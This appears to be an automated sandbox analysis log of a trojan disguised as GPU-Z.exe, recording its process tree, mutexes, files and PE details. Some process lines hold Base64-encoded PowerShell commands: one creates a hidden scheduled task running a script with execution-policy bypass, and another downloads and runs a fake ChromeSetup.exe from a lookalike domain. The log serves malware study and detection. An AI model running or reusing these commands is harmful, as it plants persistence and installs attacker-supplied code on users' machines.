Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 20_2_00950390	20_2_00950390
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 20_2_00881B90	20_2_00881B90
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 20_2_008C1BC0	20_2_008C1BC0
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 20_2_0099AB10	20_2_0099AB10
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 20_2_008EBB00	20_2_008EBB00
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 20_2_0088B350	20_2_0088B350
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 20_2_0083BC20	20_2_0083BC20
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 20_2_00948430	20_2_00948430
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 20_2_008C5D80	20_2_008C5D80
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 20_2_007F0550	20_2_007F0550
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 20_2_007F1DF0	20_2_007F1DF0
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 20_2_00822EB0	20_2_00822EB0
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 20_2_008886F0	20_2_008886F0
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 20_2_008AFE30	20_2_008AFE30
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 20_2_0094CE74	20_2_0094CE74
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 20_2_00816E60	20_2_00816E60
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 20_2_0085F660	20_2_0085F660
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 20_2_007C3760	20_2_007C3760
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 20_2_007BEF10	20_2_007BEF10
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 20_2_008B7F30	20_2_008B7F30

Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: String function: 0096CB48 appears 33 times
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: String function: 00946BD0 appears 45 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 0042368A appears 31 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 00402EB0 appears 97 times

Source: GPU-Z.exe

Static PE information: invalid certificate

Source: ChromeSetup.exe.17.dr	Static PE information: Resource name: B7 type: 7-zip archive data, version 0.4
Source: ChromeSetup.exe.17.dr	Static PE information: Resource name: RT_STRING type: CLIPPER COFF executable (VAX #) not stripped - version 71
Source: updater.exe.18.dr	Static PE information: Resource name: RT_STRING type: CLIPPER COFF executable (VAX #) not stripped - version 71
Source: updater.exe.19.dr	Static PE information: Resource name: RT_STRING type: CLIPPER COFF executable (VAX #) not stripped - version 71

Source: GPU-Z.exe, 00000000.00000002.2855684296.0000000005940000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameBamokinepApp.dll< vs GPU-Z.exe
Source: GPU-Z.exe, 00000000.00000002.2860650650.0000000007FA0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameRP8SH.dll6 vs GPU-Z.exe
Source: GPU-Z.exe, 00000000.00000002.2834654737.000000000164E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs GPU-Z.exe

Source: GPU-Z.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.bank.troj.evad.winEXE@57/44@24/7

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 6_2_0040E4F0 GetModuleHandleW,FormatMessageW,GetLastError,

6_2_0040E4F0

Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe

File created: C:\Program Files (x86)\Google\GoogleUpdater

Source: C:\Users\user\Desktop\GPU-Z.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\GPU-Z.exe.log

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\G{A5732CF5-E5AD-47A5-8131-DC4CCA530B02}.132.0.6833.0
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6704:120:WilError_03
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\G{D8E4A6FE-EA7A-4D20-A8C8-B4628776A101}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6148:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3788:120:WilError_03

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

File created: C:\Users\user\AppData\Local\Temp\MediaContent

Jump to behavior

Source: GPU-Z.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: GPU-Z.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\GPU-Z.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: GPU-Z.exe

ReversingLabs: Detection: 55%

Source: unknown	Process created: C:\Users\user\Desktop\GPU-Z.exe "C:\Users\user\Desktop\GPU-Z.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\Desktop\GPU-Z.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Users\user\Desktop\GPU-Z.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c powershell -win 1 -noni -enc JABoACAAPQAgACgARwBlAHQALQBEAGEAdABlACkALgBoAG8AdQByADsAIAAkAG0AIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAuAEEAZABkAE0AaQBuAHUAdABlAHMAKAAyACkALgBtAGkAbgB1AHQAZQA7ACAAJABUAHIAaQBnAGcAZQByACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBPAG4AYwBlACAALQBBAHQAIAAiACQAaABgADoAJABtACIAOwAgACQAQQBjAHQAaQBvAG4AIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAIgBjAG0AZAAiACAALQBBAHIAZwB1AG0AZQBuAHQAIAAiAC8AYwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAHcAaQBuACAAMQAgAC0AbgBvAG4AaQAgAC0AZQBwACAAYgB5AHAAYQBzAHMAIAAtAGYAaQBsAGUAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAE0AZQBkAGkAYQBTAHQAbwByAGEAZwBlAFwAdQBwAGQAYQB0AGUALgBwAHMAMQAiADsAIAAkAFAAcgBpAG4AYwBpAHAAYQBsACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBQAHIAaQBuAGMAaQBwAGEAbAAgAC0AVQBzAGUAcgBJAGQAIAAkAEUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAiAE0AZQBkAGkAYQBVAHAAZABhAHQAZQAiACAALQBUAHIAaQBnAGcAZQByACAAJABUAHIAaQBnAGcAZQByACAALQBBAGMAdABpAG8AbgAgACQAQQBjAHQAaQBvAG4AIAAtAFAAcgBpAG4AYwBpAHAAYQBsACAAJABQAHIAaQBuAGMAaQBwAGEAbAA=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -win 1 -noni -enc JABoACAAPQAgACgARwBlAHQALQBEAGEAdABlACkALgBoAG8AdQByADsAIAAkAG0AIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAuAEEAZABkAE0AaQBuAHUAdABlAHMAKAAyACkALgBtAGkAbgB1AHQAZQA7ACAAJABUAHIAaQBnAGcAZQByACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBPAG4AYwBlACAALQBBAHQAIAAiACQAaABgADoAJABtACIAOwAgACQAQQBjAHQAaQBvAG4AIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAIgBjAG0AZAAiACAALQBBAHIAZwB1AG0AZQBuAHQAIAAiAC8AYwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAHcAaQBuACAAMQAgAC0AbgBvAG4AaQAgAC0AZQBwACAAYgB5AHAAYQBzAHMAIAAtAGYAaQBsAGUAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAE0AZQBkAGkAYQBTAHQAbwByAGEAZwBlAFwAdQBwAGQAYQB0AGUALgBwAHMAMQAiADsAIAAkAFAAcgBpAG4AYwBpAHAAYQBsACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBQAHIAaQBuAGMAaQBwAGEAbAAgAC0AVQBzAGUAcgBJAGQAIAAkAEUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAiAE0AZQBkAGkAYQBVAHAAZABhAHQAZQAiACAALQBUAHIAaQBnAGcAZQByACAAJABUAHIAaQBnAGcAZQByACAALQBBAGMAdABpAG8AbgAgACQAQQBjAHQAaQBvAG4AIAAtAFAAcgBpAG4AYwBpAHAAYQBsACAAJABQAHIAaQBuAGMAaQBwAGEAbAA=
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.EXE /c powershell -win 1 -noni -ep bypass -file C:\Users\user\AppData\Local\MediaStorage\update.ps1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -win 1 -noni -ep bypass -file C:\Users\user\AppData\Local\MediaStorage\update.ps1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c powershell -win 1 -noni -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcABzADoALwAvAGMAaAByAG8AbQBlAC0AYgByAG8AdwBzAGUAcgAtAGQAbwB3AG4AbABvAGEAZAAuAGMAbwBtAC8AQwBoAHIAbwBtAGUAUwBlAHQAdQBwAC4AZQB4AGUAIgAgAC0ATwB1AHQARgBpAGwAZQAgACIAJABlAG4AdgA6AFQARQBNAFAAXABDAGgAcgBvAG0AZQBTAGUAdAB1AHAALgBlAHgAZQAiADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAEMAaAByAG8AbQBlAFMAZQB0AHUAcAAuAGUAeABlACIA
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -win 1 -noni -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcABzADoALwAvAGMAaAByAG8AbQBlAC0AYgByAG8AdwBzAGUAcgAtAGQAbwB3AG4AbABvAGEAZAAuAGMAbwBtAC8AQwBoAHIAbwBtAGUAUwBlAHQAdQBwAC4AZQB4AGUAIgAgAC0ATwB1AHQARgBpAGwAZQAgACIAJABlAG4AdgA6AFQARQBNAFAAXABDAGgAcgBvAG0AZQBTAGUAdAB1AHAALgBlAHgAZQAiADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAEMAaAByAG8AbQBlAFMAZQB0AHUAcAAuAGUAeABlACIA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe "C:\Users\user\AppData\Local\Temp\ChromeSetup.exe"
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Process created: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe "C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe" --install=appguid={8A69D345-D564-463C-AFF1-A69D9E530F96}&iid={8E7848EA-F143-48B2-373C-33F54B7527D1}&lang=en-GB&browser=3&usagestats=1&appname=Google%20Chrome&needsadmin=prefers&ap=x64-statsdef_1&installdataindex=empty --enable-logging --vmodule=/components/winhttp/=1,/components/update_client/=2,/chrome/enterprise_companion/=2,/chrome/updater/=2
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Process created: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\132.0.6833.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=132.0.6833.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" --initial-client-data=0x278,0x27c,0x280,0x254,0x284,0xbc9488,0xbc9494,0xbc94a0
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://support.google.com/installer/?product=&error=75035
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2028,i,8218608324562589918,13039616218442769122,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://support.google.com/installer/?product=&error=75035
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2024,i,80333394096213294,6915374060940689089,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://support.google.com/installer/?product=&error=75035
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=2000,i,5810222806604600449,1391955646674968393,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\GPU-Z.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c powershell -win 1 -noni -enc JABoACAAPQAgACgARwBlAHQALQBEAGEAdABlACkALgBoAG8AdQByADsAIAAkAG0AIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAuAEEAZABkAE0AaQBuAHUAdABlAHMAKAAyACkALgBtAGkAbgB1AHQAZQA7ACAAJABUAHIAaQBnAGcAZQByACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBPAG4AYwBlACAALQBBAHQAIAAiACQAaABgADoAJABtACIAOwAgACQAQQBjAHQAaQBvAG4AIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAIgBjAG0AZAAiACAALQBBAHIAZwB1AG0AZQBuAHQAIAAiAC8AYwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAHcAaQBuACAAMQAgAC0AbgBvAG4AaQAgAC0AZQBwACAAYgB5AHAAYQBzAHMAIAAtAGYAaQBsAGUAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAE0AZQBkAGkAYQBTAHQAbwByAGEAZwBlAFwAdQBwAGQAYQB0AGUALgBwAHMAMQAiADsAIAAkAFAAcgBpAG4AYwBpAHAAYQBsACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBQAHIAaQBuAGMAaQBwAGEAbAAgAC0AVQBzAGUAcgBJAGQAIAAkAEUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAiAE0AZQBkAGkAYQBVAHAAZABhAHQAZQAiACAALQBUAHIAaQBnAGcAZQByACAAJABUAHIAaQBnAGcAZQByACAALQBBAGMAdABpAG8AbgAgACQAQQBjAHQAaQBvAG4AIAAtAFAAcgBpAG4AYwBpAHAAYQBsACAAJABQAHIAaQBuAGMAaQBwAGEAbAA=	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c powershell -win 1 -noni -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcABzADoALwAvAGMAaAByAG8AbQBlAC0AYgByAG8AdwBzAGUAcgAtAGQAbwB3AG4AbABvAGEAZAAuAGMAbwBtAC8AQwBoAHIAbwBtAGUAUwBlAHQAdQBwAC4AZQB4AGUAIgAgAC0ATwB1AHQARgBpAGwAZQAgACIAJABlAG4AdgA6AFQARQBNAFAAXABDAGgAcgBvAG0AZQBTAGUAdAB1AHAALgBlAHgAZQAiADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAEMAaAByAG8AbQBlAFMAZQB0AHUAcAAuAGUAeABlACIA	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -win 1 -noni -enc JABoACAAPQAgACgARwBlAHQALQBEAGEAdABlACkALgBoAG8AdQByADsAIAAkAG0AIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAuAEEAZABkAE0AaQBuAHUAdABlAHMAKAAyACkALgBtAGkAbgB1AHQAZQA7ACAAJABUAHIAaQBnAGcAZQByACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBPAG4AYwBlACAALQBBAHQAIAAiACQAaABgADoAJABtACIAOwAgACQAQQBjAHQAaQBvAG4AIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAIgBjAG0AZAAiACAALQBBAHIAZwB1AG0AZQBuAHQAIAAiAC8AYwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAHcAaQBuACAAMQAgAC0AbgBvAG4AaQAgAC0AZQBwACAAYgB5AHAAYQBzAHMAIAAtAGYAaQBsAGUAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAE0AZQBkAGkAYQBTAHQAbwByAGEAZwBlAFwAdQBwAGQAYQB0AGUALgBwAHMAMQAiADsAIAAkAFAAcgBpAG4AYwBpAHAAYQBsACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBQAHIAaQBuAGMAaQBwAGEAbAAgAC0AVQBzAGUAcgBJAGQAIAAkAEUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAiAE0AZQBkAGkAYQBVAHAAZABhAHQAZQAiACAALQBUAHIAaQBnAGcAZQByACAAJABUAHIAaQBnAGcAZQByACAALQBBAGMAdABpAG8AbgAgACQAQQBjAHQAaQBvAG4AIAAtAFAAcgBpAG4AYwBpAHAAYQBsACAAJABQAHIAaQBuAGMAaQBwAGEAbAA=	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -win 1 -noni -ep bypass -file C:\Users\user\AppData\Local\MediaStorage\update.ps1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -win 1 -noni -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcABzADoALwAvAGMAaAByAG8AbQBlAC0AYgByAG8AdwBzAGUAcgAtAGQAbwB3AG4AbABvAGEAZAAuAGMAbwBtAC8AQwBoAHIAbwBtAGUAUwBlAHQAdQBwAC4AZQB4AGUAIgAgAC0ATwB1AHQARgBpAGwAZQAgACIAJABlAG4AdgA6AFQARQBNAFAAXABDAGgAcgBvAG0AZQBTAGUAdAB1AHAALgBlAHgAZQAiADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAEMAaAByAG8AbQBlAFMAZQB0AHUAcAAuAGUAeABlACIA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe "C:\Users\user\AppData\Local\Temp\ChromeSetup.exe"
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Process created: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe "C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe" --install=appguid={8A69D345-D564-463C-AFF1-A69D9E530F96}&iid={8E7848EA-F143-48B2-373C-33F54B7527D1}&lang=en-GB&browser=3&usagestats=1&appname=Google%20Chrome&needsadmin=prefers&ap=x64-statsdef_1&installdataindex=empty --enable-logging --vmodule=/components/winhttp/=1,/components/update_client/=2,/chrome/enterprise_companion/=2,/chrome/updater/=2
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Process created: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\132.0.6833.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=132.0.6833.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" --initial-client-data=0x278,0x27c,0x280,0x254,0x284,0xbc9488,0xbc9494,0xbc94a0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2028,i,8218608324562589918,13039616218442769122,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2024,i,80333394096213294,6915374060940689089,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
